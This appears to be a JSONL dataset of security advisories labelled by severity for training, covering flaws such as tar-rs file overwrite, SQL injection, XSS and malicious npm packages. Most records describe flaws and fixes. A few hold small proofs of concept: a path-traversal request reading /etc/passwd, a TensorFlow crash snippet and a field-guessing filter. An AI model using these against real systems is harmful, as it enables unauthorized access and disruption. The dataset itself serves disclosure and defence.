-{"id": "857ccd1cc1567a014740", "text": "Arbitrary file overwrite in tar-rs\n\nWhen unpacking a tarball with the unpack_in-family of functions it's intended that only files within the specified directory are able to be written. Tarballs with hard links or symlinks, however, can be used to overwrite any file on the filesystem. Tarballs can contain multiple entries for the same file. A tarball which first contains an entry for a hard link or symlink pointing to any file on the filesystem will have the link created, and then afterwards if the same file is listed in the tarball the hard link will be rewritten and any file can be rewritten on the filesystem.", "text_raw": "Arbitrary file overwrite in tar-rs\n\n[Severity: HIGH]\n\nWhen unpacking a tarball with the unpack_in-family of functions it's intended that only files within the specified directory are able to be written. Tarballs with hard links or symlinks, however, can be used to overwrite any file on the filesystem. Tarballs can contain multiple entries for the same file. A tarball which first contains an entry for a hard link or symlink pointing to any file on the filesystem will have the link created, and then afterwards if the same file is listed in the tarball the hard link will be rewritten and any file can be rewritten on the filesystem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "640be6c87edf7140b7fc", "text": "Downloads Resources over HTTP in cobalt-cli\n\nAffected versions of `cobalt-cli` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cobalt-cli`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in cobalt-cli\n\n[Severity: HIGH]\n\nAffected versions of `cobalt-cli` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cobalt-cli`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "d91a3b4f1ad9e861c00c", "text": "Array size is not checked in sized-chunks\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, the array size is not checked when constructed with From<InlineArray<A, T>>.", "text_raw": "Array size is not checked in sized-chunks\n\n[Severity: HIGH]\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, the array size is not checked when constructed with From<InlineArray<A, T>>.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "599817b064a128ef7884", "text": "Read permissions not enforced for client provided filter expressions in Elide.\n\n### Impact\nIt is possible for an adversary to \"guess and check\" the value of a model field they do not have access to assuming they can read at least one other field in the model.  The adversary can construct filter expressions for an inaccessible field to filter a collection.  The presence or absence of models in the returned collection can be used to reconstruct the value of the inaccessible field.\n\nFor example, a User model has two fields: _name_ and _role_.  The adversary has read permissions to see the _name_ field of the User collection but not the _role_.  By constructing a filter like the one below, the adversary can determine which users have admin role by presence or absence in the returned collection:\n`filter=role==\"Admin\"`\n\n### Patches\nResolved in Elide 4.5.14 and greater.\n\n### Workarounds\nThe adversary can only access the fields if a model includes fields with different read permission levels (some less secure and some more secure).  Model security can be adjusted by restricting read permissions on existing models.\n\n### References\nFixed in https://github.com/yahoo/elide/pull/1236\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [elide](https://github.com/yahoo/elide)\n* Contact us at [spectrum](https://spectrum.chat/elide?tab=posts)", "text_raw": "Read permissions not enforced for client provided filter expressions in Elide.\n\n[Severity: HIGH]\n\n### Impact\nIt is possible for an adversary to \"guess and check\" the value of a model field they do not have access to assuming they can read at least one other field in the model.  The adversary can construct filter expressions for an inaccessible field to filter a collection.  The presence or absence of models in the returned collection can be used to reconstruct the value of the inaccessible field.\n\nFor example, a User model has two fields: _name_ and _role_.  The adversary has read permissions to see the _name_ field of the User collection but not the _role_.  By constructing a filter like the one below, the adversary can determine which users have admin role by presence or absence in the returned collection:\n`filter=role==\"Admin\"`\n\n### Patches\nResolved in Elide 4.5.14 and greater.\n\n### Workarounds\nThe adversary can only access the fields if a model includes fields with different read permission levels (some less secure and some more secure).  Model security can be adjusted by restricting read permissions on existing models.\n\n### References\nFixed in https://github.com/yahoo/elide/pull/1236\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [elide](https://github.com/yahoo/elide)\n* Contact us at [spectrum](https://spectrum.chat/elide?tab=posts)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-30", "split": "train"}
-{"id": "cc4781aa580a8b814ed2", "text": "Prototype Pollution in extend\n\nVersions of `extend` prior to 3.0.2 (for 3.x) and 2.0.2 (for 2.x) are vulnerable to Prototype Pollution. The `extend()` function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nIf you're using `extend` 3.x upgrade to 3.0.2 or later.\nIf you're using `extend` 2.x upgrade to 2.0.2 or later.", "text_raw": "Prototype Pollution in extend\n\n[Severity: MEDIUM]\n\nVersions of `extend` prior to 3.0.2 (for 3.x) and 2.0.2 (for 2.x) are vulnerable to Prototype Pollution. The `extend()` function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nIf you're using `extend` 3.x upgrade to 3.0.2 or later.\nIf you're using `extend` 2.x upgrade to 2.0.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "4aac34a871c18f93a893", "text": "SQL Injection in knex\n\nknex.js versions before 0.19.5 are vulnerable to SQL Injection attack. Identifiers are escaped incorrectly as part of the MSSQL dialect, allowing attackers to craft a malicious query to the host DB.", "text_raw": "SQL Injection in knex\n\n[Severity: CRITICAL]\n\nknex.js versions before 0.19.5 are vulnerable to SQL Injection attack. Identifiers are escaped incorrectly as part of the MSSQL dialect, allowing attackers to craft a malicious query to the host DB.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-21", "split": "train"}
-{"id": "7c66a93aa843fb5c8a62", "text": "Fat Free CRM vulnerable to Cross-site Scripting\n\nFatFreeCRM version `<=0.14.1`, `>=0.15.0 <=0.15.1`, `>=0.16.0 <=0.16.3`, `>=0.17.0 <=0.17.2`, and `==0.18.0` contains a Cross Site Scripting (XSS) vulnerability in [commit 6d60bc8ed010c4eda05d6645c64849f415f68d65](https://github.com/asteinhauser/fat_free_crm/commit/306f940b26ccf3f406665f07bece1229a7a5dcfa) that can result in Javascript execution. This attack appears to be exploitable via Content with Javascript payload will be executed on end user browsers when they visit the page. This vulnerability appears to have been fixed in 0.18.1, 0.17.3, 0.16.4, 0.15.2, and 0.14.2.", "text_raw": "Fat Free CRM vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nFatFreeCRM version `<=0.14.1`, `>=0.15.0 <=0.15.1`, `>=0.16.0 <=0.16.3`, `>=0.17.0 <=0.17.2`, and `==0.18.0` contains a Cross Site Scripting (XSS) vulnerability in [commit 6d60bc8ed010c4eda05d6645c64849f415f68d65](https://github.com/asteinhauser/fat_free_crm/commit/306f940b26ccf3f406665f07bece1229a7a5dcfa) that can result in Javascript execution. This attack appears to be exploitable via Content with Javascript payload will be executed on end user browsers when they visit the page. This vulnerability appears to have been fixed in 0.18.1, 0.17.3, 0.16.4, 0.15.2, and 0.14.2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "aa5be3f1a45a9412a187", "text": "Code Injection in pac-resolver\n\nThis affects the package pac-resolver before 5.0.0. This can occur when used with untrusted input, due to unsafe PAC file handling. **NOTE:** The fix for this vulnerability is applied in the node-degenerator library, a dependency written by the same maintainer.", "text_raw": "Code Injection in pac-resolver\n\n[Severity: HIGH]\n\nThis affects the package pac-resolver before 5.0.0. This can occur when used with untrusted input, due to unsafe PAC file handling. **NOTE:** The fix for this vulnerability is applied in the node-degenerator library, a dependency written by the same maintainer.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "b442808c2614fc37a14c", "text": "Directory Traversal in easyquick\n\nAffected versions of `easyquick` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in easyquick\n\n[Severity: MEDIUM]\n\nAffected versions of `easyquick` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "b29d34b68c54c75c3486", "text": "sqlite.js is malware\n\nThe `sqlite.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "sqlite.js is malware\n\n[Severity: MEDIUM]\n\nThe `sqlite.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "9550c67f60bb9441957b", "text": "Argo CD Insecure default administrative password\n\nIn Argo CD versions 1.8.0 and prior, the default admin password is set to the argocd-server pod name. For insiders with access to the cluster or logs, this issue could be abused for privilege escalation, as Argo has privileged roles. A malicious insider is the most realistic threat, but pod names are not meant to be kept secret and could wind up just about anywhere.\n\n#### Workaround:\n\nThe recommended mitigation as described in the user documentation is to use SSO integration. The default admin password should only be used for initial configuration and then [disabled](https://argo-cd.readthedocs.io/en/stable/operator-manual/user-management/#disable-admin-user) or at least changed to a more secure password.", "text_raw": "Argo CD Insecure default administrative password\n\n[Severity: HIGH]\n\nIn Argo CD versions 1.8.0 and prior, the default admin password is set to the argocd-server pod name. For insiders with access to the cluster or logs, this issue could be abused for privilege escalation, as Argo has privileged roles. A malicious insider is the most realistic threat, but pod names are not meant to be kept secret and could wind up just about anywhere.\n\n#### Workaround:\n\nThe recommended mitigation as described in the user documentation is to use SSO integration. The default admin password should only be used for initial configuration and then [disabled](https://argo-cd.readthedocs.io/en/stable/operator-manual/user-management/#disable-admin-user) or at least changed to a more secure password.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "c9f4ede34894bf57ebec", "text": "Null pointer dereference in `StringNGrams`\n\n### Impact\nAn attacker can trigger a dereference of a null pointer in `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\ndata=tf.constant([''] * 11, shape=[11], dtype=tf.string)\n\nsplits = [0]*115\nsplits.append(3)\ndata_splits=tf.constant(splits, shape=[116], dtype=tf.int64)\n\ntf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b'Ss',\n                        ngram_widths=[7,6,11],\n                        left_pad='ABCDE', right_pad=b'ZYXWVU',\n                        pad_width=50, preserve_short_sequences=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L67-L74) does not fully validate the `data_splits` argument. This would result in [`ngrams_data`](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L106-L110) to be a null pointer when the output would be computed to have 0 or negative size.\n\nLater writes to the output tensor would then cause a null pointer dereference.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Null pointer dereference in `StringNGrams`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a dereference of a null pointer in `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\ndata=tf.constant([''] * 11, shape=[11], dtype=tf.string)\n\nsplits = [0]*115\nsplits.append(3)\ndata_splits=tf.constant(splits, shape=[116], dtype=tf.int64)\n\ntf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b'Ss',\n                        ngram_widths=[7,6,11],\n                        left_pad='ABCDE', right_pad=b'ZYXWVU',\n                        pad_width=50, preserve_short_sequences=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L67-L74) does not fully validate the `data_splits` argument. This would result in [`ngrams_data`](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L106-L110) to be a null pointer when the output would be computed to have 0 or negative size.\n\nLater writes to the output tensor would then cause a null pointer dereference.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n    \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "47116b15d7a808b73628", "text": "Directory Traversal in serve\n\nVersions of `serve` before 7.1.3 are vulnerable to Directory Traversal. File paths are not sanitized leading to unauthorized access of system files.\n\n## Recommendation\n\nUpgrade to version 7.1.3 or later", "text_raw": "Directory Traversal in serve\n\n[Severity: HIGH]\n\nVersions of `serve` before 7.1.3 are vulnerable to Directory Traversal. File paths are not sanitized leading to unauthorized access of system files.\n\n\n## Recommendation\n\nUpgrade to version 7.1.3 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "48131f2222e3242f1164", "text": "Improper Input Validation in sanitize-html\n\nApostrophe Technologies sanitize-html before 2.3.2 does not properly validate the hostnames set by the \"allowedIframeHostnames\" option when the \"allowIframeRelativeUrls\" is set to true, which allows attackers to bypass hostname whitelist for iframe element, related using an src value that starts with \"/\\\\example.com\".", "text_raw": "Improper Input Validation in sanitize-html\n\n[Severity: MEDIUM]\n\nApostrophe Technologies sanitize-html before 2.3.2 does not properly validate the hostnames set by the \"allowedIframeHostnames\" option when the \"allowIframeRelativeUrls\" is set to true, which allows attackers to bypass hostname whitelist for iframe element, related using an src value that starts with \"/\\\\example.com\".", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "7b4ccd80dd313ce6b0da", "text": "HTTP Request Smuggling in Waitress: Invalid whitespace characters in headers (Follow-up)\n\n### Impact\n\nThe patches introduced to fix https://github.com/Pylons/waitress/security/advisories/GHSA-m5ff-3wj3-8ph4 were not complete and still would allow an attacker to smuggle requests/split a HTTP request with invalid data.\n\nThis updates the existing CVE with ID: CVE-2019-16789\n\n### Patches\n\nWaitress version 1.4.2 has been updated to now validate HTTP headers better to avoid the issue, completely fixing all known issues with whitespace.\n\n### Workarounds\n\nThere are no work-arounds, upgrading to Waitress 1.4.2 is highly recommended.\n\n### References\n\nSee https://github.com/Pylons/waitress/security/advisories/GHSA-m5ff-3wj3-8ph4 for more information on the security issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "text_raw": "HTTP Request Smuggling in Waitress: Invalid whitespace characters in headers (Follow-up)\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe patches introduced to fix https://github.com/Pylons/waitress/security/advisories/GHSA-m5ff-3wj3-8ph4 were not complete and still would allow an attacker to smuggle requests/split a HTTP request with invalid data.\n\nThis updates the existing CVE with ID: CVE-2019-16789\n\n### Patches\n\nWaitress version 1.4.2 has been updated to now validate HTTP headers better to avoid the issue, completely fixing all known issues with whitespace.\n\n### Workarounds\n\nThere are no work-arounds, upgrading to Waitress 1.4.2 is highly recommended.\n\n### References\n\nSee https://github.com/Pylons/waitress/security/advisories/GHSA-m5ff-3wj3-8ph4 for more information on the security issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-06", "split": "train"}
-{"id": "6e924c4d7b5917970604", "text": "XSS vulnerability in theme config file in Mautic\n\n### Impact\nMautic before v2.13.0 has stored XSS via a theme config file.\n\n### Patches\nUpdate to 2.13.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "XSS vulnerability in theme config file in Mautic\n\n[Severity: MEDIUM]\n\n### Impact\nMautic before v2.13.0 has stored XSS via a theme config file.\n\n### Patches\nUpdate to 2.13.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "6a3e91c4ff97c0974f54", "text": "Privilege Context Switching Error in wildlfy\n\nA flaw was found in wildfly. The EJBContext principle is not popped back after invoking another EJB using a different Security Domain. The highest threat from this vulnerability is to data confidentiality and integrity. Versions before wildfly 20.0.0.Final are affected.", "text_raw": "Privilege Context Switching Error in wildlfy\n\n[Severity: MEDIUM]\n\nA flaw was found in wildfly. The EJBContext principle is not popped back after invoking another EJB using a different Security Domain. The highest threat from this vulnerability is to data confidentiality and integrity. Versions before wildfly 20.0.0.Final are affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "b7920e4ae8f4ae1ac183", "text": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in typo3/cms-form\n\n### Problem\nIt has been discovered that the Form Designer backend module of the Form Framework is vulnerable to cross-site scripting. A valid backend user account with access to the form module is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 10.4.14 or 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 framework merger Andreas Fernandez who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-004](https://typo3.org/security/advisory/typo3-core-sa-2021-004)", "text_raw": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in typo3/cms-form\n\n[Severity: MEDIUM]\n\n\n### Problem\nIt has been discovered that the Form Designer backend module of the Form Framework is vulnerable to cross-site scripting. A valid backend user account with access to the form module is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 10.4.14 or 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 framework merger Andreas Fernandez who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-004](https://typo3.org/security/advisory/typo3-core-sa-2021-004)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "b723a77b354a1cd8b663", "text": "Use after free in actix-service\n\nAn issue was discovered in the actix-service crate before 1.0.6 for Rust. The Cell implementation allows obtaining more than one mutable reference to the same data.", "text_raw": "Use after free in actix-service\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the actix-service crate before 1.0.6 for Rust. The Cell implementation allows obtaining more than one mutable reference to the same data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0186eac79ed267db63cb", "text": "Alienware Command Center 2.8.8.0 Local Privilege Escalation", "text_raw": "Alienware Command Center 2.8.8.0 Local Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-02-25", "split": "train"}
-{"id": "3a1c35ad3b7e9a2c0af7", "text": "Arbitrary JavaScript Execution in bassmaster\n\nA vulnerability exists in bassmaster <= 1.5.1 that allows for an attacker to provide arbitrary JavaScript that is then executed server side via eval.\n\n## Recommendation\n\nUpdate to bassmaster version 1.5.2 or greater.", "text_raw": "Arbitrary JavaScript Execution in bassmaster\n\n[Severity: CRITICAL]\n\nA vulnerability exists in bassmaster <= 1.5.1 that allows for an attacker to provide arbitrary JavaScript that is then executed server side via eval.\n\n\n## Recommendation\n\nUpdate to bassmaster version 1.5.2 or greater.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "4f4b8f5f302e95d658d6", "text": "Exposure of Sensitive Information in bio-basespace-sdk\n\nThe put_call function in the API client (`api/api_client.rb`) in the BaseSpace Ruby SDK (aka bio-basespace-sdk) gem 0.1.7 for Ruby uses the `API_KEY` on the command line, which allows remote attackers to obtain sensitive information by listing the processes.", "text_raw": "Exposure of Sensitive Information in bio-basespace-sdk\n\n[Severity: MEDIUM]\n\nThe put_call function in the API client (`api/api_client.rb`) in the BaseSpace Ruby SDK (aka bio-basespace-sdk) gem 0.1.7 for Ruby uses the `API_KEY` on the command line, which allows remote attackers to obtain sensitive information by listing the processes.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f7aad168c63a473d96c4", "text": "Stored XSS in Apache Atlas\n\nApache Atlas versions 0.8.3 and 1.1.0 were found vulnerable to Stored Cross-Site Scripting in the search functionality", "text_raw": "Stored XSS in Apache Atlas\n\n[Severity: MEDIUM]\n\nApache Atlas versions 0.8.3 and 1.1.0 were found vulnerable to Stored Cross-Site Scripting in the search functionality", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-08", "split": "train"}
-{"id": "021f051e3c0a45239702", "text": "Cross-site scripting in pywb\n\nWebrecorder pywb before 2.6.0 allows XSS because it does not ensure that Jinja2 templates are autoescaped.", "text_raw": "Cross-site scripting in pywb\n\n[Severity: MEDIUM]\n\nWebrecorder pywb before 2.6.0 allows XSS because it does not ensure that Jinja2 templates are autoescaped.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "036a6548fd68913baf01", "text": "APM Java Agent Local Privilege Escalation\n\nA local privilege escalation issue was found with the APM Java agent, where a user on the system could attach a malicious file to an application running with the APM Java agent. Using this vector, a malicious or compromised user account could use the agent to run commands at a higher level of permissions than they possess. This vulnerability affects users that have set up the agent via the attacher cli 3, the attach API 2, as well as users that have enabled the profiling_inferred_spans_enabled option", "text_raw": "APM Java Agent Local Privilege Escalation\n\n[Severity: HIGH]\n\nA local privilege escalation issue was found with the APM Java agent, where a user on the system could attach a malicious file to an application running with the APM Java agent. Using this vector, a malicious or compromised user account could use the agent to run commands at a higher level of permissions than they possess. This vulnerability affects users that have set up the agent via the attacher cli 3, the attach API 2, as well as users that have enabled the profiling_inferred_spans_enabled option", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "967aac99a027ac65dc3f", "text": "Timing Attack in csrf-lite\n\nAffected versions of `csrf-lite` are vulnerable to timing attacks as a result of testing CSRF tokens via a fail-early comparison instead of a constant-time comparison.\n\nTiming attacks remove the exponential increase in entropy gained from increased secret length, by providing per-character feedback on the correctness of a guess via miniscule timing differences.\n\nUnder favorable network conditions, an attacker can exploit this to guess the secret in no more than (16*18)288 guesses, instead of the 16^18 guesses required were the timing attack not present.\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.", "text_raw": "Timing Attack in csrf-lite\n\n[Severity: HIGH]\n\nAffected versions of `csrf-lite` are vulnerable to timing attacks as a result of testing CSRF tokens via a fail-early comparison instead of a constant-time comparison. \n\nTiming attacks remove the exponential increase in entropy gained from increased secret length, by providing per-character feedback on the correctness of a guess via miniscule timing differences.\n\nUnder favorable network conditions, an attacker can exploit this to guess the secret in no more than (16*18)288 guesses, instead of the 16^18 guesses required were the timing attack not present. \n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "1e3d3ddf7ba2c970ed09", "text": "Malicious Package in exprss\n\nAll versions of `exprss` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in exprss\n\n[Severity: CRITICAL]\n\nAll versions of `exprss` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "e8abe30472b8e912c2c3", "text": "Inadequate Encryption Strength in showdoc\n\nshowdoc makes use of a hardcoded salt in its user password hash function", "text_raw": "Inadequate Encryption Strength in showdoc\n\n[Severity: MEDIUM]\n\nshowdoc makes use of a hardcoded salt in its user password hash function\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "70f65397736efdd97579", "text": "Segfault on strings tensors with mistmatched dimensions, due to Go code\n\n### Impact\nUnder certain conditions, Go code can trigger a segfault in string deallocation.\n\nFor string tensors, `C.TF_TString_Dealloc` is called during garbage collection within a finalizer function.  However, tensor structure isn't checked until encoding to avoid a performance penalty.  The current method for dealloc assumes that encoding succeeded, but segfaults when a string tensor is garbage collected whose encoding failed (e.g., due to mismatched dimensions).\n\nTo fix this, the call to set the finalizer function is deferred until `NewTensor` returns and, if encoding failed for a string tensor, deallocs are determined based on bytes written.\n\n### Patches\nWe have patched the issue in GitHub commit [8721ba96e5760c229217b594f6d2ba332beedf22](https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22) (merging [#50508](https://github.com/tensorflow/tensorflow/pull/50508)).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, which is the other affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [fixing PR](https://github.com/tensorflow/tensorflow/pull/50508).", "text_raw": "Segfault on strings tensors with mistmatched dimensions, due to Go code\n\n[Severity: MEDIUM]\n\n### Impact\nUnder certain conditions, Go code can trigger a segfault in string deallocation.\n\n\nFor string tensors, `C.TF_TString_Dealloc` is called during garbage collection within a finalizer function.  However, tensor structure isn't checked until encoding to avoid a performance penalty.  The current method for dealloc assumes that encoding succeeded, but segfaults when a string tensor is garbage collected whose encoding failed (e.g., due to mismatched dimensions).\n\nTo fix this, the call to set the finalizer function is deferred until `NewTensor` returns and, if encoding failed for a string tensor, deallocs are determined based on bytes written.\n\n### Patches\nWe have patched the issue in GitHub commit [8721ba96e5760c229217b594f6d2ba332beedf22](https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22) (merging 